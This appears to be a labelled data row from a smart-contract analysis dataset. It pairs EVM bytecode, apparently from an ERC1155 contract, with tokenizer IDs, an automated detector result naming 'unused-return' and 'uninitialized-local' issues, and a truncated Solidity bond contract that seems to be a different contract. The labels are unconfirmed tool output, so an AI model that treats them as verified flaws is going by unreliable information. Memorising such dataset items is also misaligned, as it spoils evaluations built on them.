832094871680845294825291829020805460ff191686151590811790915591519182527f17307eab39ab6107e8899845ad3d59bd9653f200f220920489ca2b5937696c31910160405180910390a3505050565b6001600160a01b0383166110825760405162461bcd60e51b815260040161036390611e0a565b33600061108e8461128a565b9050600061109b8461128a565b60408051602080820183526000918290528882528181528282206001600160a01b038b16835290522054909150848110156110e85760405162461bcd60e51b815260040161036390611d81565b6000868152602081815260408083206001600160a01b038b81168086529184528285208a8703905582518b81529384018a90529092908816917fc3d58168c5ae7397731d063d5bbf3d657854427343f4c083240f7aacaa2d0f62910160405180910390a4604080516020810190915260009052610aae565b6001600160a01b0384166111865760405162461bcd60e51b815260040161036390611dc5565b3360006111928561128a565b9050600061119f8561128a565b90506000868152602081815260408083206001600160a01b038c168452909152902054858110156111e25760405162461bcd60e51b815260040161036390611e4d565b6000878152602081815260408083206001600160a01b038d8116855292528083208985039055908a1682528120805488929061121f908490611f79565b909155505060408051888152602081018890526001600160a01b03808b16928c821692918816917fc3d58168c5ae7397731d063d5bbf3d657854427343f4c083240f7aacaa2d0f62910160405180910390a461127f848a8a8a8a8a6112d5565b505050505050505050565b604080516001808252818301909252606091600091906020808301908036833701905050905082816000815181106112c4576112c461202a565b602090810291909101015292915050565b6001600160a01b0384163b15610c4b5760405163f23a6e6160e01b81526001600160a01b0385169063f23a6e61906113199089908990889088908890600401611ca0565b602060405180830381600087803b15801561133357600080fd5b505af1925050508015611363575060408051601f3d908101601f1916820190925261136091810190611b11565b60015b6114105761136f612056565b806308c379a014156113a95750611384612072565b8061138f57506113ab565b8060405162461bcd60e51b81526004016103639190611d26565b505b60405162461bcd60e51b815260206004820152603460248201527f455243313135353a207472616e7366657220746f206e6f6e20455243313135356044820152732932b1b2b4bb32b91034b6b83632b6b2b73a32b960611b6064820152608401610363565b6001600160e01b0319811663f23a6e6160e01b14610aae5760405162461bcd60e51b815260040161036390611d39565b6001600160a01b0384163b15610c4b5760405163bc197c8160e01b81526001600160a01b0385169063bc197c81906114849089908990889088908890600401611c42565b602060405180830381600087803b15801561149e57600080fd5b505af19250505080156114ce575060408051601f3d908101601f191682019092526114cb91810190611b11565b60015b6114da5761136f612056565b6001600160e01b0319811663bc197c8160e01b14610aae5760405162461bcd60e51b815260040161036390611d39565b82805461151690611f91565b90600052602060002090601f016020900481019282611538576000855561157e565b82601f1061155157805160ff191683800117855561157e565b8280016001018555821561157e579182015b8281111561157e578251825591602001919060010190611563565b5061158a92915061158e565b5090565b5b8082111561158a576000815560010161158f565b600067ffffffffffffffff8311156115bd576115bd612040565b6040516115d4601f8501601f191660200182611fcc565b8091508381528484840111156115e957600080fd5b83836020830137600060208583010152509392505050565b80356001600160a01b038116811461161857600080fd5b919050565b600082601f83011261162e57600080fd5b8135602061163b82611f55565b6040516116488282611fcc565b8381528281019150858301600585901b8701840188101561166857600080fd5b60005b858110156116875781358452928401929084019060010161166b565b5090979650505050505050565b600082601f8301126116a557600080fd5b6116b4838335602085016115a3565b9392505050565b6000602082840312156116cd57600080fd5b6116b482611601565b600080604083850312156116e957600080fd5b6116f283611601565b915061170060208401611601565b90509250929050565b600080600080600060a0868803121561172157600080fd5b61172a86611601565b945061173860208701611601565b9350604086013567ffffffffffffffff8082111561175557600080fd5b61176189838a0161161d565b9450606088013591508082111561177757600080fd5b61178389838a0161161d565b9350608088013591508082111561179957600080fd5b506117a688828901611694565b9150509295509295909350565b600080600080600060a086880312156117cb57600080fd5b6117d486611601565b94506117e260208701611601565b93506040860135925060608601359150608086013567ffffffffffffffff81111561180c57600080fd5b6117a688828901611694565b60008060006060848603121561182d57600080fd5b61183684611601565b9250602084013567ffffffffffffffff8082111561185357600080fd5b61185f8783880161161d565b9350604086013591508082111561187557600080fd5b506118828682870161161d565b9150509250925092565b600080600080600060a086880312156118a457600080fd5b6118ad86611601565b9450602086013567ffffffffffffffff808211156118ca57600080fd5b6118d689838a0161161d565b955060408801359150808211156118ec57600080fd5b6118f889838a0161161d565b9450606088013591508082111561190e57600080fd5b61191a89838a0161161d565b9350608088013591508082111561193057600080fd5b506117a68882890161161d565b6000806040838503121561195057600080fd5b61195983611601565b91506020830135801515811461196e57600080fd5b809150509250929050565b6000806040838503121561198c57600080fd5b61199583611601565b946020939093013593505050565b6000806000606084860312156119b857600080fd5b6119c184611601565b95602085013595506040909401359392505050565b600080604083850312156119e957600080fd5b823567ffffffffffffffff80821115611a0157600080fd5b818501915085601f830112611a1557600080fd5b81356020611a2282611f55565b604051611a2f8282611fcc565b8381528281019150858301600585901b870184018b1015611a4f57600080fd5b600096505b84871015611a7957611a6581611601565b835260019690960195918301918301611a54565b5096505086013592505080821115611a9057600080fd5b50611a9d8582860161161d565b9150509250929050565b60008060408385031215611aba57600080fd5b823567ffffffffffffffff80821115611ad257600080fd5b611ade8683870161161d565b93506020850135915080821115611a9057600080fd5b600060208284031215611b0657600080fd5b81356116b4816120fc565b600060208284031215611b2357600080fd5b81516116b4816120fc565b600060208284031215611b4057600080fd5b5035919050565b60008060408385031215611b5a57600080fd5b82359150602083013567ffffffffffffffff811115611b7857600080fd5b8301601f81018513611b8957600080fd5b611a9d858235602084016115a3565b60008060408385031215611bab57600080fd5b50508035926020909101359150565b600081518084526020808501945080840160005b83811015611bea57815187529582019590820190600101611bce565b509495945050505050565b6000815180845260005b81811015611c1b57602081850181015186830182015201611bff565b81811115611c2d576000602083870101525b50601f01601f19169290920160200192915050565b6001600160a01b0386811682528516602082015260a060408201819052600090611c6e90830186611bba565b8281036060840152611c808186611bba565b90508281036080840152611c948185611bf5565b98975050505050505050565b6001600160a01b03868116825285166020820152604081018490526060810183905260a060808201819052600090611cda90830184611bf5565b979650505050505050565b6020815260006116b46020830184611bba565b604081526000611d0b6040830185611bba565b8281036020840152611d1d8185611bba565b95945050505050565b6020815260006116b46020830184611bf5565b60208082526028908201527f455243313135353a204552433131353552656365697665722072656a656374656040820152676420746f6b656e7360c01b606082015260800190565b60208082526024908201527f455243313135353a206275726e20616d6f756e7420657863656564732062616c604082015263616e636560e01b606082015260800190565b60208082526025908201527f455243313135353a207472616e7366657220746f20746865207a65726f206164604082015264647265737360d81b606082015260800190565b60208082526023908201527f455243313135353a206275726e2066726f6d20746865207a65726f206164647260408201526265737360e81b606082015260800190565b6020808252602a908201527f455243313135353a20696e73756666696369656e742062616c616e636520666f60408201526939103a3930b739b332b960b11b606082015260800190565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b60208082526028908201527f455243313135353a2069647320616e6420616d6f756e7473206c656e677468206040820152670dad2e6dac2e8c6d60c31b606082015260800190565b60208082526021908201527f455243313135353a206d696e7420746f20746865207a65726f206164647265736040820152607360f81b606082015260800190565b600067ffffffffffffffff821115611f6f57611f6f612040565b5060051b60200190565b60008219821115611f8c57611f8c612014565b500190565b600181811c90821680611fa557607f821691505b60208210811415611fc657634e487b7160e01b600052602260045260246000fd5b50919050565b601f8201601f1916810167ffffffffffffffff81118282101715611ff257611ff2612040565b6040525050565b600060001982141561200d5761200d612014565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052604160045260246000fd5b600060033d111561206f5760046000803e5060005160e01c5b90565b600060443d10156120805790565b6040516003193d81016004833e81513d67ffffffffffffffff81602484011181841117156120b057505050505090565b82850191508151818111156120c85750505050505090565b843d87010160208285010111156120e25750505050505090565b6120f160208286010187611fcc565b509095945050505050565b6001600160e01b0319811681146109da57600080fdfea2646970667358221220ebd5c1a8420a9038c29fbe206fc69e5b281c68d17b171412fbe93aa7a47fc79d64736f6c63430008070033
{"success": true, "error": null, "results": {"detectors": [{"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium"}]}}
true
null
{'detectors': [{'check': 'unused-return', 'impact': 'Medium', 'confidence': 'Medium'}, {'check': 'uninitialized-local', 'impact': 'Medium', 'confidence': 'Medium'}]}
[ 101, 1014, 2595, 2683, 2575, 2063, 2575, 2581, 16086, 22203, 2487, 2063, 2487, 2497, 2683, 2497, 2094, 2620, 10790, 2629, 2497, 21926, 2050, 2581, 18827, 2509, 2063, 17465, 2692, 18827, 16932, 2063, 26976, 2063, 1013, 1013, 23772, 2595, 1011, 6105, 1011, 8909, 4765, 18095, 1024, 10210, 1013, 1013, 5371, 1024, 16770, 1024, 1013, 1013, 21025, 2705, 12083, 1012, 4012, 1013, 2330, 4371, 27877, 2378, 1013, 2330, 4371, 27877, 2378, 1011, 8311, 1013, 1038, 4135, 2497, 1013, 3040, 1013, 8311, 1013, 21183, 12146, 1013, 6123, 1012, 14017, 1013, 1013, 2330, 4371, 27877, 2378, 8311, 1058, 2549, 1012, 1018, 1012, 1015, 1006, 21183, 12146, 1013, 6123, 1012, 14017, 1007, 1013, 1008, 1008, 1012, 1035, 1035, 1064, 1064, 1035, 1035, 1035, 1035, 1035, 1035, 1035, 1035, 1035, 1035, 1035, 1035, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,504
0x96e6d868d761e727de1c875f9134a324f8de0d3e
/** *Submitted for verification at Etherscan.io on 2022-01-26 */ pragma solidity 0.7.5; library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } function sqrrt(uint256 a) internal pure returns (uint c) { if (a > 3) { c = a; uint b = add( div( a, 2), 1 ); while (b < c) { c = b; b = div( add( div( a, b ), b), 2 ); } } else if (a != 0) { c = 1; } } } pragma solidity 0.7.5; library Address { function isContract(address account) internal view returns (bool) { uint256 size; // solhint-disable-next-line no-inline-assembly assembly { size := extcodesize(account) } return size > 0; } function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: value }(data); return _verifyCallResult(success, returndata, errorMessage); } function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: weiValue }(data); if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.staticcall(data); return _verifyCallResult(success, returndata, errorMessage); } function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.delegatecall(data); return _verifyCallResult(success, returndata, errorMessage); } function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) { if (success) { return returndata; } else { if (returndata.length > 0) { assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } function addressToString(address _address) internal pure returns(string memory) { bytes32 _bytes = bytes32(uint256(_address)); bytes memory HEX = "0123456789abcdef"; bytes memory _addr = new bytes(42); _addr[0] = '0'; _addr[1] = 'x'; for(uint256 i = 0; i < 20; i++) { _addr[2+i*2] = HEX[uint8(_bytes[i + 12] >> 4)]; _addr[3+i*2] = HEX[uint8(_bytes[i + 12] & 0x0f)]; } return string(_addr); } } pragma solidity 0.7.5; interface IERC20 { function decimals() external view returns (uint8); function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } pragma solidity 0.7.5; library SafeERC20 { using SafeMath for uint256; using Address for address; function safeTransfer(IERC20 token, address to, uint256 value) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } function safeApprove(IERC20 token, address spender, uint256 value) internal { require((value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).add(value); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero"); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } function _callOptionalReturn(IERC20 token, bytes memory data) private { bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional // solhint-disable-next-line max-line-length require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } // File contracts/libraries/FullMath.sol pragma solidity 0.7.5; library FullMath { function fullMul(uint256 x, uint256 y) private pure returns (uint256 l, uint256 h) { uint256 mm = mulmod(x, y, uint256(-1)); l = x * y; h = mm - l; if (mm < l) h -= 1; } function fullDiv( uint256 l, uint256 h, uint256 d ) private pure returns (uint256) { uint256 pow2 = d & -d; d /= pow2; l /= pow2; l += h * ((-pow2) / pow2 + 1); uint256 r = 1; r *= 2 - d * r; r *= 2 - d * r; r *= 2 - d * r; r *= 2 - d * r; r *= 2 - d * r; r *= 2 - d * r; r *= 2 - d * r; r *= 2 - d * r; return l * r; } function mulDiv( uint256 x, uint256 y, uint256 d ) internal pure returns (uint256) { (uint256 l, uint256 h) = fullMul(x, y); uint256 mm = mulmod(x, y, d); if (mm > l) h -= 1; l -= mm; require(h < d, 'FullMath::mulDiv: overflow'); return fullDiv(l, h, d); } } // File contracts/libraries/FixedPoint.sol pragma solidity 0.7.5; library Babylonian { function sqrt(uint256 x) internal pure returns (uint256) { if (x == 0) return 0; uint256 xx = x; uint256 r = 1; if (xx >= 0x100000000000000000000000000000000) { xx >>= 128; r <<= 64; } if (xx >= 0x10000000000000000) { xx >>= 64; r <<= 32; } if (xx >= 0x100000000) { xx >>= 32; r <<= 16; } if (xx >= 0x10000) { xx >>= 16; r <<= 8; } if (xx >= 0x100) { xx >>= 8; r <<= 4; } if (xx >= 0x10) { xx >>= 4; r <<= 2; } if (xx >= 0x8) { r <<= 1; } r = (r + x / r) >> 1; r = (r + x / r) >> 1; r = (r + x / r) >> 1; r = (r + x / r) >> 1; r = (r + x / r) >> 1; r = (r + x / r) >> 1; r = (r + x / r) >> 1; // Seven iterations should be enough uint256 r1 = x / r; return (r < r1 ? r : r1); } } library BitMath { function mostSignificantBit(uint256 x) internal pure returns (uint8 r) { require(x > 0, 'BitMath::mostSignificantBit: zero'); if (x >= 0x100000000000000000000000000000000) { x >>= 128; r += 128; } if (x >= 0x10000000000000000) { x >>= 64; r += 64; } if (x >= 0x100000000) { x >>= 32; r += 32; } if (x >= 0x10000) { x >>= 16; r += 16; } if (x >= 0x100) { x >>= 8; r += 8; } if (x >= 0x10) { x >>= 4; r += 4; } if (x >= 0x4) { x >>= 2; r += 2; } if (x >= 0x2) r += 1; } } library FixedPoint { struct uq112x112 { uint224 _x; } struct uq144x112 { uint256 _x; } uint8 private constant RESOLUTION = 112; uint256 private constant Q112 = 0x10000000000000000000000000000; uint256 private constant Q224 = 0x100000000000000000000000000000000000000000000000000000000; uint256 private constant LOWER_MASK = 0xffffffffffffffffffffffffffff; // decimal of UQ*x112 (lower 112 bits) function decode(uq112x112 memory self) internal pure returns (uint112) { return uint112(self._x >> RESOLUTION); } function decode112with18(uq112x112 memory self) internal pure returns (uint) { return uint(self._x) / 5192296858534827; } function fraction(uint256 numerator, uint256 denominator) internal pure returns (uq112x112 memory) { require(denominator > 0, 'FixedPoint::fraction: division by zero'); if (numerator == 0) return FixedPoint.uq112x112(0); if (numerator <= uint144(-1)) { uint256 result = (numerator << RESOLUTION) / denominator; require(result <= uint224(-1), 'FixedPoint::fraction: overflow'); return uq112x112(uint224(result)); } else { uint256 result = FullMath.mulDiv(numerator, Q112, denominator); require(result <= uint224(-1), 'FixedPoint::fraction: overflow'); return uq112x112(uint224(result)); } } // square root of a UQ112x112 // lossy between 0/1 and 40 bits function sqrt(uq112x112 memory self) internal pure returns (uq112x112 memory) { if (self._x <= uint144(-1)) { return uq112x112(uint224(Babylonian.sqrt(uint256(self._x) << 112))); } uint8 safeShiftBits = 255 - BitMath.mostSignificantBit(self._x); safeShiftBits -= safeShiftBits % 2; return uq112x112(uint224(Babylonian.sqrt(uint256(self._x) << safeShiftBits) << ((112 - safeShiftBits) / 2))); } } // File contracts/interfaces/ITreasury.sol pragma solidity 0.7.5; interface ITreasury { function sendPayoutTokens(uint _amountPayoutToken) external; function valueOfToken( address _principalTokenAddress, uint _amount ) external view returns ( uint value_ ); function payoutToken() external view returns (address); } // File contracts/types/Ownable.sol pragma solidity 0.7.5; contract Ownable { address public policy; constructor () { policy = msg.sender; } modifier onlyPolicy() { require( policy == msg.sender, "Ownable: caller is not the owner" ); _; } function transferManagment(address _newOwner) external onlyPolicy() { require( _newOwner != address(0) ); policy = _newOwner; } } // File contracts/OlympusProCustomBond.sol // SPDX-License-Identifier: AGPL-3.0-or-later pragma solidity 0.7.5; contract CustomBond is Ownable { using FixedPoint for *; using SafeERC20 for IERC20; using SafeMath for uint; /* ======== EVENTS ======== */ event BondCreated( uint deposit, uint payout, uint expires ); event BondRedeemed( address recipient, uint payout, uint remaining ); event BondPriceChanged( uint internalPrice, uint debtRatio ); event ControlVariableAdjustment( uint initialBCV, uint newBCV, uint adjustment, bool addition ); /* ======== STATE VARIABLES ======== */ IERC20 immutable private payoutToken; // token paid for principal IERC20 immutable private principalToken; // inflow token ITreasury immutable private customTreasury; // pays for and receives principal address immutable private olympusDAO; address private olympusTreasury; // receives fee address immutable private subsidyRouter; // pays subsidy in OHM to custom treasury uint public totalPrincipalBonded; uint public totalPayoutGiven; uint public totalDebt; // total value of outstanding bonds; used for pricing uint public lastDecay; // reference block for debt decay uint private payoutSinceLastSubsidy; // principal accrued since subsidy paid Terms public terms; // stores terms for new bonds Adjust public adjustment; // stores adjustment to BCV data FeeTiers[] private feeTiers; // stores fee tiers bool immutable private feeInPayout; mapping( address => Bond ) public bondInfo; // stores bond information for depositors /* ======== STRUCTS ======== */ struct FeeTiers { uint tierCeilings; // principal bonded till next tier uint fees; // in ten-thousandths (i.e. 33300 = 3.33%) } // Info for creating new bonds struct Terms { uint controlVariable; // scaling variable for price uint vestingTerm; // in blocks uint minimumPrice; // vs principal value uint maxPayout; // in thousandths of a %. i.e. 500 = 0.5% uint maxDebt; // payout token decimal debt ratio, max % total supply created as debt } // Info for bond holder struct Bond { uint payout; // payout token remaining to be paid uint vesting; // Blocks left to vest uint lastBlock; // Last interaction uint truePricePaid; // Price paid (principal tokens per payout token) in ten-millionths - 4000000 = 0.4 } // Info for incremental adjustments to control variable struct Adjust { bool add; // addition or subtraction uint rate; // increment uint target; // BCV when adjustment finished uint buffer; // minimum length (in blocks) between adjustments uint lastBlock; // block when last adjustment made } /* ======== CONSTRUCTOR ======== */ constructor( address _customTreasury, address _principalToken, address _olympusTreasury, address _subsidyRouter, address _initialOwner, address _olympusDAO, uint[] memory _tierCeilings, uint[] memory _fees, bool _feeInPayout ) { require( _customTreasury != address(0) ); customTreasury = ITreasury( _customTreasury ); payoutToken = IERC20( ITreasury(_customTreasury).payoutToken() ); require( _principalToken != address(0) ); principalToken = IERC20( _principalToken ); require( _olympusTreasury != address(0) ); olympusTreasury = _olympusTreasury; require( _subsidyRouter != address(0) ); subsidyRouter = _subsidyRouter; require( _initialOwner != address(0) ); policy = _initialOwner; require( _olympusDAO != address(0) ); olympusDAO = _olympusDAO; require(_tierCeilings.length == _fees.length, "tier length and fee length not the same"); for(uint i; i < _tierCeilings.length; i++) { feeTiers.push( FeeTiers({ tierCeilings: _tierCeilings[i], fees: _fees[i] })); } feeInPayout = _feeInPayout; } /* ======== INITIALIZATION ======== */ /** * @notice initializes bond parameters * @param _controlVariable uint * @param _vestingTerm uint * @param _minimumPrice uint * @param _maxPayout uint * @param _maxDebt uint * @param _initialDebt uint */ function initializeBond( uint _controlVariable, uint _vestingTerm, uint _minimumPrice, uint _maxPayout, uint _maxDebt, uint _initialDebt ) external onlyPolicy() { require( currentDebt() == 0, "Debt must be 0 for initialization" ); terms = Terms ({ controlVariable: _controlVariable, vestingTerm: _vestingTerm, minimumPrice: _minimumPrice, maxPayout: _maxPayout, maxDebt: _maxDebt }); totalDebt = _initialDebt; lastDecay = block.number; } /* ======== POLICY FUNCTIONS ======== */ enum PARAMETER { VESTING, PAYOUT, DEBT } /** * @notice set parameters for new bonds * @param _parameter PARAMETER * @param _input uint */ function setBondTerms ( PARAMETER _parameter, uint _input ) external onlyPolicy() { if ( _parameter == PARAMETER.VESTING ) { // 0 require( _input >= 10000, "Vesting must be longer than 36 hours" ); terms.vestingTerm = _input; } else if ( _parameter == PARAMETER.PAYOUT ) { // 1 require( _input <= 1000, "Payout cannot be above 1 percent" ); terms.maxPayout = _input; } else if ( _parameter == PARAMETER.DEBT ) { // 2 terms.maxDebt = _input; } } /** * @notice set control variable adjustment * @param _addition bool * @param _increment uint * @param _target uint * @param _buffer uint */ function setAdjustment ( bool _addition, uint _increment, uint _target, uint _buffer ) external onlyPolicy() { require( _increment <= terms.controlVariable.mul( 30 ).div( 1000 ), "Increment too large" ); adjustment = Adjust({ add: _addition, rate: _increment, target: _target, buffer: _buffer, lastBlock: block.number }); } /** * @notice change address of Olympus Treasury * @param _olympusTreasury uint */ function changeOlympusTreasury(address _olympusTreasury) external { require( msg.sender == olympusDAO, "Only Olympus DAO" ); olympusTreasury = _olympusTreasury; } /** * @notice subsidy controller checks payouts since last subsidy and resets counter * @return payoutSinceLastSubsidy_ uint */ function paySubsidy() external returns ( uint payoutSinceLastSubsidy_ ) { require( msg.sender == subsidyRouter, "Only subsidy controller" ); payoutSinceLastSubsidy_ = payoutSinceLastSubsidy; payoutSinceLastSubsidy = 0; } /* ======== USER FUNCTIONS ======== */ /** * @notice deposit bond * @param _amount uint * @param _maxPrice uint * @param _depositor address * @return uint */ function deposit(uint _amount, uint _maxPrice, address _depositor) external returns (uint) { require( _depositor != address(0), "Invalid address" ); decayDebt(); uint nativePrice = trueBondPrice(); require( _maxPrice >= nativePrice, "Slippage limit: more than max price" ); // slippage protection uint value = customTreasury.valueOfToken( address(principalToken), _amount ); uint payout; uint fee; if(feeInPayout) { (payout, fee) = payoutFor( value ); // payout and fee is computed } else { (payout, fee) = payoutFor( _amount ); // payout and fee is computed _amount = _amount.sub(fee); } require( payout >= 10 ** payoutToken.decimals() / 100, "Bond too small" ); // must be > 0.01 payout token ( underflow protection ) require( payout <= maxPayout(), "Bond too large"); // size protection because there is no slippage // total debt is increased totalDebt = totalDebt.add( value ); require( totalDebt <= terms.maxDebt, "Max capacity reached" ); // depositor info is stored bondInfo[ _depositor ] = Bond({ payout: bondInfo[ _depositor ].payout.add( payout ), vesting: terms.vestingTerm, lastBlock: block.number, truePricePaid: trueBondPrice() }); totalPrincipalBonded = totalPrincipalBonded.add(_amount); // total bonded increased totalPayoutGiven = totalPayoutGiven.add(payout); // total payout increased payoutSinceLastSubsidy = payoutSinceLastSubsidy.add( payout ); // subsidy counter increased if(feeInPayout) { customTreasury.sendPayoutTokens( payout.add(fee) ); if(fee != 0) { // if fee, send to Olympus treasury payoutToken.safeTransfer(olympusTreasury, fee); } } else { customTreasury.sendPayoutTokens( payout ); if(fee != 0) { // if fee, send to Olympus treasury principalToken.safeTransferFrom( msg.sender, olympusTreasury, fee ); } } principalToken.safeTransferFrom( msg.sender, address(customTreasury), _amount ); // transfer principal bonded to custom treasury // indexed events are emitted emit BondCreated( _amount, payout, block.number.add( terms.vestingTerm ) ); emit BondPriceChanged( _bondPrice(), debtRatio() ); adjust(); // control variable is adjusted return payout; } /** * @notice redeem bond for user * @return uint */ function redeem(address _depositor) external returns (uint) { Bond memory info = bondInfo[ _depositor ]; uint percentVested = percentVestedFor( _depositor ); // (blocks since last interaction / vesting term remaining) if ( percentVested >= 10000 ) { // if fully vested delete bondInfo[ _depositor ]; // delete user info emit BondRedeemed( _depositor, info.payout, 0 ); // emit bond data payoutToken.safeTransfer( _depositor, info.payout ); return info.payout; } else { // if unfinished // calculate payout vested uint payout = info.payout.mul( percentVested ).div( 10000 ); // store updated deposit info bondInfo[ _depositor ] = Bond({ payout: info.payout.sub( payout ), vesting: info.vesting.sub( block.number.sub( info.lastBlock ) ), lastBlock: block.number, truePricePaid: info.truePricePaid }); emit BondRedeemed( _depositor, payout, bondInfo[ _depositor ].payout ); payoutToken.safeTransfer( _depositor, payout ); return payout; } } /* ======== INTERNAL HELPER FUNCTIONS ======== */ /** * @notice makes incremental adjustment to control variable */ function adjust() internal { uint blockCanAdjust = adjustment.lastBlock.add( adjustment.buffer ); if( adjustment.rate != 0 && block.number >= blockCanAdjust ) { uint initial = terms.controlVariable; if ( adjustment.add ) { terms.controlVariable = terms.controlVariable.add( adjustment.rate ); if ( terms.controlVariable >= adjustment.target ) { adjustment.rate = 0; } } else { terms.controlVariable = terms.controlVariable.sub( adjustment.rate ); if ( terms.controlVariable <= adjustment.target ) { adjustment.rate = 0; } } adjustment.lastBlock = block.number; emit ControlVariableAdjustment( initial, terms.controlVariable, adjustment.rate, adjustment.add ); } } /** * @notice reduce total debt */ function decayDebt() internal { totalDebt = totalDebt.sub( debtDecay() ); lastDecay = block.number; } /** * @notice calculate current bond price and remove floor if above * @return price_ uint */ function _bondPrice() internal returns ( uint price_ ) { price_ = terms.controlVariable.mul( debtRatio() ).div( 10 ** (uint256(payoutToken.decimals()).sub(5)) ); if ( price_ < terms.minimumPrice ) { price_ = terms.minimumPrice; } else if ( terms.minimumPrice != 0 ) { terms.minimumPrice = 0; } } /* ======== VIEW FUNCTIONS ======== */ /** * @notice calculate current bond premium * @return price_ uint */ function bondPrice() public view returns ( uint price_ ) { price_ = terms.controlVariable.mul( debtRatio() ).div( 10 ** (uint256(payoutToken.decimals()).sub(5)) ); if ( price_ < terms.minimumPrice ) { price_ = terms.minimumPrice; } } /** * @notice calculate true bond price a user pays * @return price_ uint */ function trueBondPrice() public view returns ( uint price_ ) { price_ = bondPrice().add(bondPrice().mul( currentOlympusFee() ).div( 1e6 ) ); } /** * @notice determine maximum bond size * @return uint */ function maxPayout() public view returns ( uint ) { return payoutToken.totalSupply().mul( terms.maxPayout ).div( 100000 ); } /** * @notice calculate user's interest due for new bond, accounting for Olympus Fee. If fee is in payout then takes in the already calcualted value. If fee is in principal token than takes in the amount of principal being deposited and then calculautes the fee based on the amount of principal and not in terms of the payout token * @param _value uint * @return _payout uint * @return 